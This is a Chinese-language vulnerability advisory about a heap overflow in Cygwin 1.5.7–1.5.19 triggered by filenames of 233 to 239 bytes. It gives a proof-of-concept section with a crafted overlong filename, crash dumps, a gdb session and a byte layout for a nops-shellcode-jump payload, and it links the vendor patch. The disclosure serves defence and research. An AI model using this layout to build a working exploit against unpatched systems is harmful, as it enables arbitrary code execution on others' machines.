Cygwin超长文件名堆溢出漏洞
发布日期:2007-11-24
更新日期:2007-11-26
受影响系统:Cygwin Cygwin 1.5.7 - 1.5.19
不受影响系统:Cygwin Cygwin 1.5.24
描述:
BUGTRAQ ID:
26557
Cygwin是许多自由软件的集合,用于在各种版本的Microsoft Windows上运行UNIX类系统。
Cygwin处理超长文件名时存在漏洞,恶意用户可能利用此漏洞在系统上执行任意指令。
一般来讲Linux文件系统允许255字节的文件名,但cygwin允许239字节,并执行检查防范大于等于240字节的文件名。尽管执行了这个检查,存储文件名的动态内存缓冲区仅分配了232字节,因此233到239字节的文件名可以绕过检查覆盖堆上最多7个字节,导致执行任意指令。
<*来源:Jesus Olmos Gonzalez (
jolmos@isecauditors.com)
链接:
http://marc.info/?l=bugtraq&m=119592201819760&w=2
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
上传以下文件:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYY
...
$ cat scp.exe.stackdump
Exception: STATUS_ACCESS_VIOLATION at eip=6109008D
eax=6167343A ebx=5959595A ecx=6167343C edx=04A96F89 esi=6E6C0055
edi=59595957
ebp=6E6C006C esp=0022E51B program=C:\sshd\bin\scp.exe
cs=001B ds=0023 es=0023 fs=0038 gs=0000 ss=0023
$ gdb /usr/bin/touch.exe
GNU gdb 2003-09-20-cvs (cygwin-special)
...
(gdb) r AAAA ...
Program received signal SIGSEGV, Segmentation fault.
0x61091eea in getppid () from /usr/bin/cygwin1.dll
(gdb) x/i 0x61091eea
0x61091eea <getppid+2954>: mov 0xc(%ebp),%eax
(gdb) i r ebp eax
ebp 0x22006b 0x22006b
eax 0xffffffff -1
filename: [nops][shellcode][jmp][buff]
nops + shellcode = 210 bytes
jmp = 4 bytes
buff = 24 bytes
建议:
厂商补丁:
Cygwin
------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
http://cygwin.com/snapshots/cygwin1-20071108.dll.bz2浏览次数:2782
严重程度:0(网友投票)